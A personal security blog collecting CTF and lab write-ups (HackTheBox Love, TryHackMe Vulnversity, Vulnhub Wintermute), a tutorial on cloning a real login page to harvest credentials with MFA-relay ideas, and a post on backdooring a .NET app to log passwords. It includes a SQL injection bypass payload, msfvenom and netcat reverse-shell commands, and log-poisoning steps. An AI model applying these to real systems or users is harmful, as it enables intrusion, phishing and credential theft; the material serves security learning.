HackTheBox – Love

I’m currently working through the Certified Bug Bounty Hunter (CBBH) material for the second time as a refresher before I take the exam and figured I could write some new posts during the process since it has been a while.

While going through the material I started using HackTheBox’s “Academy X HTB Labs” feature to match up lab modules with machines released in the past that involve similar techniques. It’s a pretty cool feature that, in this case, led me to the “Love” machine as an easy target to practice SSRF and file upload attacks against. So let’s get started.

Overview

The description below is direct from the HackTheBox website:

Love is an easy windows machine where it features a voting system application that suffers from an authenticated remote code execution vulnerability. Our port scan reveals a service running on port 5000 where browsing the page we discover that we are not allowed to access the resource. Furthermore a file scanner application is running on the same server which is though effected by a SSRF vulnerability where it’s exploitation gives access to an internal password manager. We can then gather credentials for the voting system and by executing the remote code execution attack as phoebe user we get the initial foothold on system. Basic windows enumeration reveals that the machine suffers from an elevated misconfiguration. Bypassing the applocker restriction we manage to install a malicious msi file that finally results in a reverse shell as the system account.

Initial Access

The initial nmap scan for the machine shows 7 ports open (out of the top 1000): 80, 135, 139, 443, 445, 3306, and 5000. 135, 139, and 445 appear to be the usual Windows ports associated with RPC and SMB, but we can still do a quick check on them later if the web ports don’t pan out with anything interesting. As for the others, 80, 443, and 5000 all seem to be running Apache and serving some type of web application.

  1. 80 – Apache serving regular HTTP service with title of “Voting System using PHP”
  2. 443 – Apache running HTTPS service and leaking a certificate name for the staging.love.htb subdomain
  3. 3306 – Based on the error, appears to be a MariaDB (mysql) server
  4. 5000 – Apache serving what seems to be another regular HTTP service

After adding the domains identified (love.htb and staging.love.htb) to my hosts file and trying to visit the web apps, port 80 is the only service that actually loads a functional page. Port 443 and 5000 both return a 403 forbidden when visiting, so we’ll come back to them later.

As for port 80, the home page loads to a login screen for a voting system and the wappalyzer info confirms what nmap found with the server running Apache and the site itself likely being built in PHP.

Looking through the source code for the application, there are some references to it using the Javascript library AdminLTE, but that doesn’t seem to give us anything useful right now. However, running gobuster against the web root lists a few directories, including /admin.

Visiting the /admin endpoint redirects to /admin/, which presents a very similar login to the home page, but this time asks for username rather than voter ID. I tried a few combinations of default credentials, but wasn’t able to get anything to work for an easy win.

There is no option to register on either of the login pages, but I tried to login with random information to see what the request looked like. The home page sends a POST request to /login.php with 3 parameters, and inserting a single quote into the voter field appears to cause an error that looks very similar to a SQL error message.

After trying a few basic payloads for bypassing authentication, I saved the request and sent it through sqlmap to speed up the process. It found a valid time-based injection in the voter field, so we can use this to try to enumerate the database for information that may help us log in.

I won’t show every step of enumeration with sqlmap, but it was successful when trying to identify the current database name, which means it should allow us to find something else useful as well.

I was able to use this to extract the hashed admin password from the admin table, but wasn’t able to crack it so I’m moving on to another vector for now.

At this point I realized I had only checked staging.love.htb on port 443 as that was where I saw the certificate before, but I didn’t see if the same site loaded on HTTP as well. It turned out the staging subdomain leads to an entirely different application called “Free File Scanner”, seen below.

The app advertises itself as an online service to scan files for known malware signatures and as such has a “Demo” tab at the top that leads to a page where the user can enter the URL of a file to scan.

Submitting a URL to the input and inspecting the request shows that the application sends a POST request to /beta.php with the URL in the file parameter and a second parameter for “Scan file”. The second parameter doesn’t really matter to us right now, but the file parameter looks like a great place to test for an SSRF vulnerability. I submitted the request below with a URL of hxxp://127.0.0.1 to see if the site could be used to request data from itself and it successfully loaded (and tried to render) the home page for the voting system application. This means we’re likely dealing with an SSRF vulnerability, so let’s see what else we can do with it.

Remembering back to the initial recon stage, there were seemingly sites hosted on port 443 and 5000 that responded with a 403 forbidden when we browsed to them, but when submitting those ports to this input the page is displayed correctly. In the case of port 5000, it seems to be a “Password Dashboard” that displays the admin credentials for the voting system.

Once I moved back to the voting system /admin/ page we found earlier, I used the credentials found above and was able to get logged in successfully.

As an alternative path that I found after the fact, the voting system app seems to be open source and listed in searchsploit as “Voting System 1.0” with multiple exploits for it, one of which is an authentication bypass using the SQL injection vector found earlier. When I used the payload seen here it allowed me to login to the admin panel without needing to know the password, though this vulnerability may have been released after the initial box and was probably not intended.

Essentially, the injection below is just using the bcrypt hash you provide for the password field (in this case a password of ‘admin’) instead of looking up the actual hash in the database. The comment at the end comments out the rest of the query and returns a success as long as the hash matches the value we provide, thus logging us in.

login=yea&password=admin&username=dsfgdf' UNION SELECT 1,2,"$2y$12$jRwyQyXnktvFrlryHNEhXOeKQYX7/5VK2ZdfB9f/GcJLuPahJWZ9K",4,5,6,7 from INFORMATION_SCHEMA.SCHEMATA;-- -

Anyway, now that we’re logged in we need to see what our admin user can do. We don’t need to dig too deep for now as one of the other exploits found by searchsploit was an authenticated RCE through file upload, so we can check that one out. Looking at the script here, it seems to abuse a photo upload feature on the /admin/voters_add.php endpoint to upload a PHP file that then drops an executable to the target. After downloading a copy of the script, there are 3 important things to note in it before we try to run it.

  1. We need to modify the settings for our instance of Voting System and the IP/Port of our Kali machine to receive the reverse shell.
  2. We need to update the app URLs used in the script to match the endpoint names of our instance
  3. We don’t need to modify this, but we can see that the PHP payload being written will use the Base64 blob to create an executable on the target machine that then takes our IP and port to start the reverse shell connection. However, if this were a real engagement we’d likely want to use our own payload here rather than trusting what is provided.

After starting up a netcat listener and running the updated script, we successfully get a callback and have a shell as the user phoebe.

With this shell we can find the user flag at C:\Users\Phoebe\Desktop\user.txt.

Privilege Escalation

Ok, so we have a shell as phoebe and need to see what she has access to. To make the process easier and faster I used WinPEAS, which will check for a large number of privilege escalation vectors from our current user. I downloaded the Windows x64 release to my Kali machine and:

  1. Hosted WinPEAS from a Python web server with
    • python3 -m http.server
  2. Downloaded it to the target with wget from our shell as phoebe
    • wget http://10.10.14.3:8000/winPEASany.exe -outfile .\wp.exe
  3. Executed WinPEAS and read through the results
    • .\wp.exe

I won’t show the full results here because it’s massive, but there are a few pieces that could be interesting to an attacker.

First, it shows there’s a PowerShell history log, which could contain sensitive data the user typed previously.

Unfortunately, it looks like only one curl command was logged, so not much to go on there.

Next up, WinPEAS also identified that the AlwaysInstallElevated registry key is set to 1, or enabled. This means that any user can install or run an MSI (Microsoft Software Installer) file as the SYSTEM user. MSI files are usually used for what their name stands for, installing software, but in this case we can abuse the functionality to run a command as the SYSTEM user.

The first step is to generate a malicious MSI file we can use to take advantage of the vulnerable registry setting. I used msfvenom with the command below to generate our payload. Since I’m going to be using netcat instead of metasploit to catch the shell, it’s important to use shell_reverse_tcp (non-staged payload) instead of shell/reverse_tcp (staged payload) as the second would fail to give us a full shell with netcat.

msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.3 LPORT=9002 -f msi -o reverse.msi

With our payload created, we just need to download the file to the target machine and execute it. We use the native msiexec tool to run the file with a few flags to ensure it runs smoothly.

  • /quiet – No user interaction required
  • /qn – Don’t display a UI
  • /i – Normal installation

With our netcat listener setup, executing the command above gives us a successful shell as the SYSTEM user.

With SYSTEM access, we can now get the root flag from C:\Users\Administration\Desktop\root.txt and finish up the machine.

Creating a credential harvesting (phishing) page

I’ve been meaning to write-up my method of creating a credential harvesting page and it’s been a while since I’ve posted anything, so here we go.

This method is probably considered pretty basic to some because it’s literally just copying the HTML for a site and editing it a little to point somewhere else, but I try to follow the KISS method when possible and it’s a good base for building additional complexity onto later.

In this post I’m going to go over the following points and then provide a few ideas on improving the final product if it were intended to be used in an actual engagement.

  • Finding a target/login page
  • Cloning the target site
  • Modifying the site to point to the attacker’s server

The overall goal of this is to have a site that looks identical to the target’s legitimate login page, will store/send any credentials submitted to it to the attacker’s server, and then re-direct back to the legitimate page. The steps I’m going to show are by no means the best/most efficient/most effective way of creating a credential harvester, but I still think it’s useful to see one way it can be done to understand how an attacker may approach the subject.

Finding a target

The first thing we need before we can begin creating our phishing page is to find a target site, ideally one with a login page users of the site will recognize. An obvious candidate would be a Microsoft login like the one seen below, but I’m going to avoid that for this example due to the fact that there are multiple steps/pages in the user submitting their username and password which comes with extra logic/code that needs to be implemented. It’s completely doable, but I want to use a simpler example to begin with.

For this example, I’m going to use the login page for TryHackMe as seen below. It’s a standard login with a CAPTCHA, logos, and other assets that are loaded, along with the form for both username and password.

Cloning the target site

As modern websites rely heavily on JavaScript to render sites once you visit them, my personal preference is to simply “View Source” for the target page and copy/paste all of the content into a new file we’re creating to mimic it. This will generally give us a large HTML file with a lot of individual JavaScript and CSS files being loaded from either the same site or from related CDNs. Once this is done and without changing any of the source code for now, we get the page below when opening it in our browser. For reference, the original site is on the left, with the copied version on the right.

This actually looks much closer to the original than many sites would without making any modifications, but there are still some things we can notice that are off in the cloned version. The Google CAPTCHA window is displaying an error because it’s expecting to be loaded on a specific domain, which we won’t be matching. Second, the Google logo on the “Sign in with Google” button is not displaying properly, causing the name of the file to be displayed instead. We’ll fix the CAPTCHA eventually, but the first and easier step is to address the assets not loading correctly. In the image below, we can see some of the assets are being loaded using the full absolute URL of wherever the file is stored, whereas others are using a URL relative to what the current site would be (in this case, tryhackme.com).

The fix for this is to simply replace any relative URLs with their absolute versions. This means changing something like “/assets/page/pace.js” to “https://tryhackme.com/assets/pace/pace.js”. Doing this for the rest of the relative URLs in the source, saving, and reloading gives us the page seen below where the Google image is not rendering correctly, though we still have an issue with the CAPTCHA box. You can save some time changing these URLs using regex patterns in your text editor of choice, but I’ll leave that to the reader for now.

Now that we have all visible assets displaying correctly, we can address the CAPTCHA error that will undoubtedly draw a user’s attention. For simplicity’s sake in this post, we’re just going to remove it as most users will likely not even notice if it’s gone or just assume they’re not required to do it again because of a saved session. This can be done by either removing the div seen below referencing the Google CAPTCHA or by erasing the data-sitekey parameter. Both actions will serve the same purpose of removing the CAPTCHA from the rendered page, as seen in the next screenshot.

Modifying the site to point to the attacker’s server

Great, now we have a clone that is more or less identical to the original, but if a user logs into it the site nothing will happen because the form is still set to send a POST request to /login of the original site. This is seen below where the form is defined with the “action” parameter set to the endpoint the form’s data is supposed to be sent to.

What would happen if we changed this parameter to point to a server we control with a listener running on port 80 to catch any HTTP requests? As seen below, when the action parameter has been changed and a user tries to login the form data is sent to our server with both the username and password being visible.

While this is working correctly, there are still a few issues that might deter a user from actually submitting their credentials to the site. As seen below, when the page loads now the form displays a message that the connection is not secure because our action parameter now points to a URL using HTTP instead of HTTPS. Now, in a real-world scenario many users may not even notice or care about this warning, but it’s a good idea to try and make the clone be as realistic as possible.

This could be easily solved by using a valid SSL certificate from a site like LetsEncrypt for whatever domain name you end up using to host this site. I’m not going to demo that in this post, but the only changes to the source code would be switching the action to HTTPS, along with configuring your web server of choice to use your new certificate. This entire process is relatively straightforward and there are many guides, like this one from DigitalOcean that can be used as a reference.

Potential Improvements

At this point, our clone looks basically identical to the original and is successfully submitting data to our server where it can be logged for future use. However, this is a very basic credential harvesting page that savy users may recognize as not behaving as expected. To this point, there are a number of things we could add to improve the chances of success, apart from simply adding SSL as described above.

  • At the moment, a login attempt will eventually timeout and display an error that the page it was submitting data to didn’t respond as expected or just doesn’t exist at all. There are two ways to address this, though I usually prefer the latter. First, we could create another page to host on our server that will send a response to the login attempt and do something else afterward (i.e. Display an error, load a different page, etc.). Alternatively, Apache (or other web servers) could return a Location header that points the user’s browser back to the legitimate login page on any login attempt. I generally prefer the second option because the longer a user is looking at a phishing page the more likely they are to start noticing differences or that the URL isn’t quite right and this redirect will ensure they’re back where they expected to be, even if their supposed login attempt didn’t work the first try.
  • Many modern applications implement some sort of MFA and a set of valid credentials just aren’t enough anymore to gain access to the target service. There are existing open-source tools that already help with this, like evilginx2, but it’s also possible to get around this on your own with a few additions to the source code and short Python script that is run from your server whenever a user tries to login. The idea is that a user submits their username and password, the attacker’s server extracts the credentials and submits them in the background to the legitimate service/application, the server then loads a second page that mimics what the site looks like when it is expecting an MFA code or response. If the user then submits the code to the cloned site, the script on the attacker’s server then retrieves it and submits it as well to the legitimate site. This is a good bit more complicated, but if all information is submitted successfully, a login to the real target can be automated and a cookie retrieved that will grant access to the site without the need for credentials or MFA codes.

That’s all for now, but I hope this was educational or useful in some way. I plan to come back to this in the future and show what some of these improvements would look like when implemented, so hopefully I get around to that sooner rather than later.

Backdooring a .NET application with dnSpy

Intro

I haven’t written anything in a while because I’ve been going through various trainings/courses, but I want to start getting back into the habit of it, so today I’m going to talk about the process of adding a backdoor to a .NET application. Given how popular C#/.NET is in the world today, this seems like a good topic.

As a quick overview, when a developer creates an application written in C#/.NET and compiles it, the compiler generates a file that contains what’s known as Intermediate Level code (IL code). This IL code is a higher level machine language than the usual assembly language used by the CPU, such as instructions like jmp, push eax, pop ebx, etc. The useful part about this in our case is that a decompiler can reconstruct what it thinks the original code looked like much easier from IL code. It will not be exactly the same as the original, but will usually be close enough that you won’t notice much of a difference.

As an example of what this looks like, I created a simple C# Windows Forms application in Visual Studio that displays a login prompt and prints a message on submission for whether or not the password was correct.

Basic Windows Forms Application
Invalid password submission
Valid password submission

This is a pretty simple example that just checks whether the string in the text box is equal to a pre-defined string in the code and updates the label text accordingly. For the next step, I just compiled the solution in Visual Studio and copied the EXE it outputs to the desktop.

Application properties

The properties shown here don’t give away too much information about the application, but using the Linux ‘file’ command against it provides something a little more useful. This output tells us it is a 64-bit compiled executable and, most importantly, appears to be written in .NET.

Linux file information for .NET Assembly

For reference, the next image is what most other Windows executables look like when viewed with the file command. In this case, I’m using the standard calc.exe available in every version of Windows.

Linux file information for normal Windows binary

Decompiling the application

Now we can get to the interesting part of decompiling the application. To do this I’m going to use the dnSpy tool found here. The repo has been archived at this point, but still works perfectly fine for everything we need to do. I’m not going to cover all of the useful features of dnSpy, of which there are a lot, but only those relevant to this topic. After downloading the last release and unzipping the contents, I can launch the executable and be greeted by the screen below.

Initial window in dnSpy on first load

On the first launch it loads dnSpy.dll and a few other assemblies related to it, but we don’t need those for now and can use the File -> Close All option to remove everything currently loaded.

Closing all current files in dnSpy

Now that we have a blank slate, we can load the target executable, in this case ExampleFormsApp.exe. This can be done by going through File -> Open -> Choose the target file. Once opened, it will show up in the Assembly Explorer along with an associated library or two. We can also see some of the decompiled code on the right hand side when selecting the ExampleFormsApp option in the left-hand pane.

Assembly loaded in dnSpy and decompiled code

From here, we can drill down into the target application until we can see the namespace in use (ExampleFormsApp) and the two classes identified in the application (Form1 and Program). Selecting the ‘Program’ class decompiles the associated code and displays it in the right window, allowing us to see the Main() function for this class. This expanded selection also gives us a list of functions and variables found in this class in the explorer pane, although Main appears to be the only one in this case.

Viewing “Program” class in ExampleFormsApp.exe

This class doesn’t seem to have much information in it, so let’s try the other one, Form1.

Viewing “Form1” class in ExampleFormsApp.exe

Form1 appears to have more going on. At first glance in the assembly explorer we can see several functions and variables displayed and the decompiled code also looks to have more functionality with functions defining actions to take when buttons in the form are clicked. We can also see the simple check performed in the passwordSubmitButton_Click function against the password entered in the form and how it compares the value against the string “supersecret”.

To re-iterate my earlier point that dnSpy doesn’t reproduce the exact same code as the original application, below is the original code I wrote for the same function. The logic is the same and produces the same results, but dnSpy formats the code differently because it is essentially guessing what the original looked like.

Logic to check submitted password in Example App

Editing the decompiled code and recompiling new binary

Now, what if I wanted to make a change to the application without needing to load everything back into Visual Studio and re-compile it? Luckily for us, dnSpy allows you to edit decompiled applications in place and re-compile them back into a new binary. As an example, I’m going to change the password the application is looking for to “hacked” and re-compile the code. To do this I’ll right-click anywhere in the decompiled code window and choose “Edit Class (C#)…”. You could also choose to edit a specific method instead of an entire class, but I’m using the whole class in this case.

dnSpy option to edit existing class of opened .NET file

This opens a new window where we can make direct changes to the code of the decompiled class. I make a single change to the string being checked and then choose compile in the bottom-right.

Editing Form1 class code

This saves our entry and brings us back to the original decompiled code window where the string “supersecret” has been replaced with “hacked”. Lastly, to re-compile our updated code, we choose File -> Save Module.

dnSpy option to save current module as new file

This option opens a new screen with a few options and the filename we want to save the binary to. I’m choosing to save it to “ExampleFormsApp-edited.exe” rather than overwriting the original.

dnSpy options to save file

This gives me two applications on the desktop now, the original and the edited version.

Modified version of ExampleFormsApp saved to desktop

Launching the edited application produces the same GUI window as before with a password prompt. However, if I try using the password “supersecret”, we get an invalid message this time. Whereas if I use the password “hacked”, we get the success message.

Modified version of ExampleFormsApp after changing password string
Showing new password is accepted

Other ideas when editing the application

This example shows how easy it is to edit and re-compile a .NET application, but it’s a pretty simple modification. What if the application was more complex and didn’t have a hard-coded string the password was being checked against? We could just edit out the password check altogether so that it returns a success no matter what. In this case I’ve removed the entire if/else block that validates the entered string is correct so that the application displays a success every time the button is clicked.

Removing the logic to validate password

This results in an application where the entered password doesn’t matter at all and could even be blank.

Showing an empty password is accepted

This is cool and all, but what if the password is used to somehow encrypt information within the application and you need the correct one to decrypt it correctly? Bypassing the initial authentication won’t matter if the information still can’t be decrypted correctly. What if we added a keylogging functionality to the original application to make it save the password being entered where we can view it later? The image below is the code I added to do just that. I also needed to add another using statement at the top for “using System.IO;” as the functions I use come from that namespace.

Code added to log submitted password to file

This code does a few things:

  • Defines the path to the log file we want to use
  • Checks if the file already exists
    • If it doesn’t exist, create it and add the submitted password to the file
    • If it does exist, append the submitted password to the file

Recompiling the application one more time and launching gives the same GUI we expect that is looking for the string “supersecret” as the password again. However, we can also see a new file is created on the desktop after submitting the first password.

Password accepted and log file created

Viewing the contents of the file show the first invalid login attempt I made, followed by the correct one. There could be more checks in the code to try and only write the password when it is correct, but this example still demonstrates the capabilities we have with .NET applications.

Contents of the log file created by application

Closing and other potential ideas

If we have access to overwrite an existing .NET binary with a modified one, there are a variety of other useful things that could be added. In many cases this would require administrative rights to access the original’s location on disk, i.e. C:\Program Files, but it’s not abnormal to compromise a machine and find more interesting things to do with it during post-exploitation.

I’m not going to detail anymore in this post, but I will list two potential ideas that could be done with this specific app and there are countless others for other applications depending on their functionality and purpose. I haven’t tested either of these personally, but they should work in theory:

  • (Exfiltration) Have the application perform an HTTP request with the submitted password to the attacker’s external server
    • This would avoid needing to write the log file to disk
  • (Credentials) Have the application try to connect to the attacker’s SMB server that is running Responder
    • As the application would likely be running as the current user, this should provide a Net-NTLMv2 hash that can either be cracked or passed to another machine.

TryHackMe – Overpass

It’s been a while, but I’m back with another video walk-through of the “Overpass” machine from TryHackMe.com. This was an interesting machine that covers some of the fundamentals such as inspecting source code for web pages, tinkering with cookies, and important things to enumerate on Linux machines (i.e. cron jobs and file permissions).

I also made another Python script for fun that solves the entire machine, including printing both flags without any input required. I would recommend actually working through the box yourself before using it as you won’t learn anything using this, but it was fun to make nonetheless.

https://github.com/imflikk/tryhackme_solution_scripts/blob/master/overpass.py

TryHackMe – dogcat

Another TryHackMe machine today, this one is called dogcat for the website which is the main focus of all activities. Like my last post, no lengthy write-up for this one either, but instead another video walkthrough.

This machine focuses on a website with an LFI (Local File Inclusion) vulnerability which, through some directory traversal, allows reading of system files. Combining this vulnerability with log poisoning in the Apache web logs, we’re able to get code execution on the web server. From there, there are some hints that it is a docker container and we have to escalate privileges then gain access to the host machine running the container.

And for a little more fun (or for anyone who wants to try the machine, but not work through it themselves) I wrote a script that solves most of it automatically and sends a reverse shell back to the user. Privilege escalation and gathering flags still needs to be done manually.

https://github.com/imflikk/tryhackme_solution_scripts/blob/master/dogcat.py

TryHackMe – Vulnversity

Since it has been a while and I have some free time at home, I figured I should get back to doing some write-ups. Prior to taking (and passing!) my OSCP exam back in February, I was doing as many CTF machines as I could for practice and burned myself out a bit. However, I’m back now and ready to go, plus I know Rose and Jordan have been sorely lacking good reading material.

Today I tried out one of the easier challenges on TryHackMe.com. This site is similar to Hack the Box, but seems a little more beginner friendly as it has questions you’re supposed to answer about each challenge that serve as a way to guide you in the right direction, whereas a lot of the HTB machines are ambiguous and you just have to figure out what to do. The site itself seems pretty cool and has a large number of “Rooms” that serve as the challenges.

Anyway, the room I tried was called Vulnversity and describes itself as “Learn about active recon, web app attacks and privilege escalation”. When you open up the room it gives you a list of tasks to perform and enter answers for, but the first is always to deploy the machine, which activates the VM you’re going to be targeting.

After deploying, we get the IP we’ll attack once we’re connected with the OpenVPN config file provided through the site.

I should point out that I generally prefer the open-ended format of Hack the Box, so tried to avoid looking at the tasks as much as possible (until the end) and just figuring out what needed to be done.

Let’s do this.

First up, once I was connected to the VPN, a quick ping shows the VM is up and running.

I started out with a basic nmap scan to run default scripts, enumerate versions of detected services, and log the output to a file for later reference. I followed up with a scan of all ports, but it didn’t come back with any additional ones that what is listed below.

nmap -sC -sV -oA nmap/initial 10.10.21.27

The results show 6 services listening: FTP, SSH, NetBios, SMB, HTTP-proxy, and regular HTTP.

I tried FTP first to check for anonymous logins being allowed, but no luck there.

Next, I used smbmap and smbclient to gather some information on any shares available through the Samba service. Nothing we can really use for now, but it’s interesting that the OS is showing as Windows when everything else points to it being a Ubuntu machine.

Moving on to HTTP, as this is a common entry point. Googling the Apache version (2.4.18) in relation to Ubuntu gives us an estimated time frame of when the machine was last updated. Based on the changelog, it looks like this version of Apache was released in October 2019, so we can probably rule out any older kernel exploits being needed.

Visiting the home page on port 3333 gives a site for “Vuln University”. None of the links on the page appear to be active or do anything other than point to the top of the current page. There is one link to a Vimeo video about a player piano that takes requests via Twitter. It was pretty interesting, but didn’t seem to have anything to do with the challenge.

As I didn’t find anything on the home page or the source code of it, I started up a Gobuster scan to search for other directories on the server.

After a minute or so, it found the /internal directory that did not seem to be one of the standard Apache folders.

Visiting the page presents a file upload screen, but no other directions.

My usual method of getting a foothold on a web server is to find a way to execute PHP code for a reverse shell, so I tried uploading that first.

However, no luck there. It just tells us the extension is not allowed, but doesn’t reveal what extensions are allowed.

At this point, I’m pretty sure this is how we’re meant to gain access, so our first step will be trying to find out what extensions are allowed. After knowing that, we can find a way to execute code using a file of that type. I intercepted the upload request in Burp Suite to try manually changing the extension or MIME type once it had been submitted, but the few common extensions I tried didn’t work (php, php5, jpeg, gif, etc).

An easier and quicker way of doing this would be to automate the fuzzing on extensions and, luckily, Burp Suite can help with this. The Intruder feature can fuzz any portion of a request we want with any list of words or parameters we provide. First, I intercept the upload request and choose to “Send to Intruder”.

Second, we tell it which part of the request we want to fuzz by setting the position symbols around it. In this case, we’re including the “.<extension>” portion of the filename. I should also mention I re-named the reverse shell file to rev.php just to save time when typing it.

Next, we move to the payloads tab and paste in a list of file extensions we want to fuzz with. The list I used was taken from this page that has a small list of PHP extensions that can often be used to bypass an extension whitelist/blacklist.

Finally, I click “Start Attack” and Burp starts sending requests for each file type. Bad news though, I don’t see anything different about any of the requests that were sent. If one gave us any message other than “Extension not allowed” then the Length field would have a different value than 737.

However, when I drilled down into one of the requests, it looks like Burp is URL-encoding the period in each file extension, which might be causing a problem with the upload filter.

Luckily, I found an option to disable this.

Running the attack again gives us different results than the first try. This time we can see the .phtml extension returns a length of 723, instead of the 737 everything else gives. Drilling into the request also shows a response on the page of “Success”.

Luckily, I know from previous machines that a file with the .phtml extension still executes any PHP code in it when visited in a browser. I re-named my file to rev.phtml and tried the upload again. This time it worked and I can see it successfully in the /internal/uploads directory.

As my php reverse shell was configured to connect back to my VPN IP on port 9001, I started a netcat listener before clicking on the newly uploaded file. Once clicked, it successfully connected back to me and I had a shell as the www-data user.

A few more commands later to clean up the shell, we’re ready to start exploring the machine. For reference, the first command uses Python to get an interactive bash shell. The second backgrounds the session with CTRL-Z, runs “stty raw -echo” to allow auto-complete and the usage of the arrow keys in my shell, then typing “fg” followed by enter twice puts us back into our interactive shell with full functionality.

I don’t have a screenshot of it, but checking the /home directory gives us the user.txt file under the bill user’s directory.

From here we need to escalate privileges to root to get the last flag. The script I’ve started using more often nowadays is linpeas.sh for Linux machines or winPEAS for Windows. They both check for common misconfigurations, a variety of possible privesc vecctors, and are part of the Privilege Escalation Awesome Scripts Suite (hence the why both scripts have “peas” in them). I already have this repo on my Kali machine, so I just need to move a copy to the target machine. The easiest way is to start a web server with Python and download it into a folder we have write access to.

I chose to download into the /dev/shm folder for good practice as this data is stored in RAM and not directly on disk.

Running the script gives some fancy graphics and then starts into enumeration of the OS, users, cron jobs, etc. If anything comes back with red text on a yellow background (listed as 99% a PE vector by the script) it is almost always worth looking further into. If we don’t get that luck, I usually sort through the details of each section until I find something that doesn’t seem to be standard and investigate that more.

Luckily, it flags one of the SUID files with the 99% PE indicator I mentioned. A quick jump over to GTFOBins gives us an example of how to abuse the systemctl binary if it has the SUID bit set.

I had some trouble using their example word for word, even without using the first line as our binary is in the default path. Instead, I combined it with this Medium article for how to create a new service that will create a reverse shell using the escalated privileges from systemctl. Below is the file I created to define the new service. It just uses a common bash reverse shell to call back to my VPN IP on port 9002, and since this will be started by the SUID systemctl, the shell should be as the root user.

Next, we enable the new service pointing to the file I created. Finally, we use systemctl one more time to start the service (after starting one more netcat listener on port 9002.

Success! We successfully catch the shell, are now root, and can read the root.txt flag. That’s the end of the machine, but going back to the questions on the site give an idea of whether I followed the right path and can answer all of their questions with the information I gathered along the way.

The questions weren’t very difficult and would’ve done a good job at pointing someone in the right direction if they were to hit a dead end at some point.

This was the 3rd or 4th machine I’ve done from TryHackMe and overall I do like the format. I still like to try the challenge without using any of the questions as a guide, but it’s nice to have them as a fallback if needed. I know some people will argue that you’ll learn more from struggling for days until you figure something out on your own (which is what happens sometimes with HTB machines), but I personally don’t always have that much free time and I’m sure others don’t either. It’s useful to have a format like this that will still teach you how to do something correctly, even if it holds your hand a little.

Vulnhub – Wintermute 1

Today we’re going to be working on the Wintermute Vulnhub machines, which are themed after the cyberpunk book Neuromancer. It actually consists of two boxes that are intended to be used to practice pivoting and post exploitation, so this post will only cover the first half and the “Straylight” box. The first machine is setup with two virtual NICs, one in the same subnet as my attacking machine and the second in a separate subnet connected to the other Wintermute box (Neuromancer) we’re going to eventually pivot to. My host machine is obviously in the second subnet as well since Virtualbox is hosting it, but my Kali VM is not, so we’re pretending I can only access it through pivoting.

So, getting started, the nmap scan for all ports shows only 3 ports open: 25 (SMTP), 80 (HTTP), and 3000 (Apache Hadoop). SMTP is interesting and I’ve seen exploits in the past that can be used through sending a specially crafted message in it. HTTP would normally be where I’d start poking around, but I’d never heard of Apache Hadoop before and port 3000 is sometimes used for interacting with a JSON API, so I checked it out.

Visiting the page re-directs to a login page for “ntopng”, which is apparently used for monitoring network traffic. Using our l33t h4ck3r skills, we see a line at the bottom of the page that says the default user and password are admin. I tried those and, surprise, we’re logged in.

I actually didn’t end up finding much of use in this application and there were no useful public exploits listed. However, looking at the recent flows for localhost, we see what appears to be two different web directories that are likely on port 80: /turing-bolo and /freeside.

After not finding much to do in the network monitoring application, I went back to HTTP to start poking around. The home page takes us to /xwx.html and displays a message from Wintermute, but also looks like it could be a terminal of sorts.

Checking the source shows the only thing being loaded is a Javascript file that ends up having the message we saw hard-coded into it.

Not much to go on there then as it’s just displaying the contents of the Javascript file. I was running gobuster on HTTP to try and find hidden directories, but we already know about two potentials that we saw in ntopng.

/freeside didn’t have much to work with other than a picture of some kind of space station and nothing interesting in the source. However, /turing-bolo was much more interesting.

This takes us to a page with a drop-down list of four characters from the Neuromancer book and lets us view an activity log for each. I started with “Case” as he was at the top of the list.

A few things stand out on this page. First, part of the activity log mentions adding .log files for other characters to the directory. Second, and more important for our purposes, is the URL we see to access Case’s activity log. It appears to be loading /turing-bolo/bolo.php and using the “bolo” parameter to decide which activity log to display. Putting these two together, we can make an educated guess that the parameter is taking a file name, adding .log to it, and displaying the contents if the file exists.

If we’re able to load any .log file, regardless of the directory, we can potentially poison a given log to gain code PHP code execution. To test this theory, we need to try reading another log file we know exists somewhere on the server. Thinking back to our nmap scan, Postfix SMTP appeared to be listening on port 25, which means there is likely a mail log file. The default mail log location is /var/log/mail, so let’s try that.

Success! We were definitely able to read the log file, though it’s difficult to decipher what is actually in it. Viewing the source of the page makes this easier.

We know we can view a log file and that it’s being loaded through a PHP page. If we can somehow insert some PHP code into the log, it should be executed by the server when we view it. I used the “RCE via Mail” section from Payloads All The Things for this part. Essentially, we connect to port 25, create a new message, and add PHP code into the body before sending it.

The code I used above should allow us to append a “cmd” parameter to the page we use to view the log file and then pass any command we want to execute through it. Going back to the log, we can see that my message was successfully added, but we don’t see any trace of the PHP code.

Now, let’s add the cmd parameter and pass it a command to test for code execution.

Reading the log one more time shows that our “ifconfig” command was successfully executed and displays the network interfaces for this machine. Since we already know there’s a second machine in another subnet this isn’t as immediately useful, but we could potentially use this information as recon for other networks the machine has access to.

Next up, let’s see if we can get a reverse shell. I used the cmd parameter one more time to check if netcat was installed on the server.

Using the command “which nc” shows us that netcat is installed at /bin/nc. Using this, we can try getting a shell using netcat and the command “nc IP PORT -e /bin/bash”. The screenshot below shows the final command to connect to my attacking machine after the spaces were URL encoded.

With a netcat listener set up on my attacking machine, I was able to catch the shell and now have access as the www-data user.

Next up we want to get a fully functional shell that allows tab auto-completion and won’t close if we accidentally hit CTRL-C. We do that by back-grounding the session (CTRL-Z), typing “stty raw -echo”, then bringing the session back to the foreground with “fg”. This will make the command prompt look broken, but hitting enter should bring it back to how it should be.

I poked around the web directory a little, but didn’t find anything too interesting. The /etc/passwd file shows two regular users: wintermute and turing-police.

However, their home directories seem to be basically empty with nothing useful for us.

Next, I checked for SUID files owned by root we could use for privilege escalation. Most were standard, but one stood out as being unusual: screen-4.5.0.

A quick searchsploit search for this shows we’re definitely heading in the right direction.

I looked at the code for the first listed exploit to try and understand what it was doing. It appears to abuse screen’s permissions for opening certain files (like ld.so.preload) to create a file in /tmp called rootshell that will launch /bin/sh as root.

Cool, we know what the exploit does now. Next step is downloading it, transferring to the machine, and running.

I hosted the file on my attacking machine using Python and downloaded it to the target with wget.

Once it was downloaded and made executable (chmod +x file), I ran it and successfully became root.

Lastly, we view root’s directory to find the flag and a note with what are likely clues for how to attack the second machine.

That’s all for this one, but the second box (Neuromancer) should be coming shortly. At this point, we know a few important things that might help once we start our attack on the second box.

  • The second machine is on the 192.168.7.0/24 subnet (in my setup at least).
  • The root note mentions a web directory at /struts2_2.3.15.1-showcase where a war file was deployed through Tomcat.
    • If we can get access to the Tomcat Manager page we can upload a malicious war file of our own to get a shell.
  • Potential users:
    • wintermute
